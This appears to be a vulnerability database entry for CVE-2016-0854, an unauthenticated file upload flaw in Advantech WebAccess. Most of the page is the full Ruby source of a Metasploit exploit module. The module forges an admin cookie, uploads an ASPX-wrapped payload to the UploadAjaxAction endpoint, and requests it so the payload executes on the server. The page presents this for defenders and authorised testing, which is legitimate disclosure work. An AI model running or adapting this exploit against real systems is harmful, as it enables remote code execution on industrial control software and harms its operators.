CVE-2016-0854

critical
Published 2016-01-15 ยท Modified 2026-05-06
CVSS v3
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Unrestricted file upload vulnerability in the uploadImageCommon function in the UploadAjaxAction script in the WebAccess Dashboard Viewer in Advantech WebAccess before 8.1 allows remote attackers to write to files of arbitrary types via unspecified vectors.

Predictions

Exploit likelihood
97%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-39735 remote windows verified ruby ยท 4 KB
Metasploit ยท 2016-04-26

Advantech Webaccess Dashboard Viewer - Arbitrary File Upload (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
      'Description'    => %q{
         This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.

         This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
         of Advantech WebAccess. Authentication is not required to exploit this vulnerability.

         The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
         the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
         upload arbitrary code (instead of an image) to the server, which will then be executed under the
         high-privilege context of the IIS AppPool.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'rgod', # Vulnerability discovery
        'Zhou Yu <504137480[at]qq.com>' # MSF module
      ],
      'References'     => [
        [ 'CVE', '2016-0854' ],
        [ 'ZDI', '16-128' ],
        [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
      ],
      'Platform'      => 'win',
      'Targets'       => [
        ['Advantech WebAccess 8.0', {}]
      ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 5 2016",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
      ], self.class)
  end

  def version_match(data)
    # Software Build : 8.0-2015.08.15
    fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
    fingerprint['version'] unless fingerprint.nil?
  end

  def vuln_version?
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => target_uri.to_s
    )

    if res.redirect?
      res = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(res.redirection)
      )
    end

    ver = res && res.body ? version_match(res.body) : nil
    true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
  end

  def check
    if vuln_version?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def upload_file?(filename, file)
    uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')

    data = Rex::MIME::Message.new
    data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
    data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => uri,
      'cookie'  => "waUserName=admin",
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )
    true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
  end

  def exec_file?(filename)
    uri = normalize_uri(target_uri)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    uri = normalize_uri(target_uri, 'WADashboard', filename)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => uri,
      'cookie'   => res.get_cookies
    )
    true ? res && res.code == 200 : false
  end

  def exploit
    unless vuln_version?
      print_status("#{peer} - Cannot reliably check exploitability.")
      return
    end
    filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
    filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)

    print_status("#{peer} - Uploading malicious file...")
    return unless upload_file?(filename, filedata)

    print_status("#{peer} - Executing #{filename}...")
    return unless exec_file?(filename)
  end
end

Metasploit modules

Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload
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Application impact

VendorProductVersionsFixed
advantechwebaccess{"endIncluding":"8.0"}

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.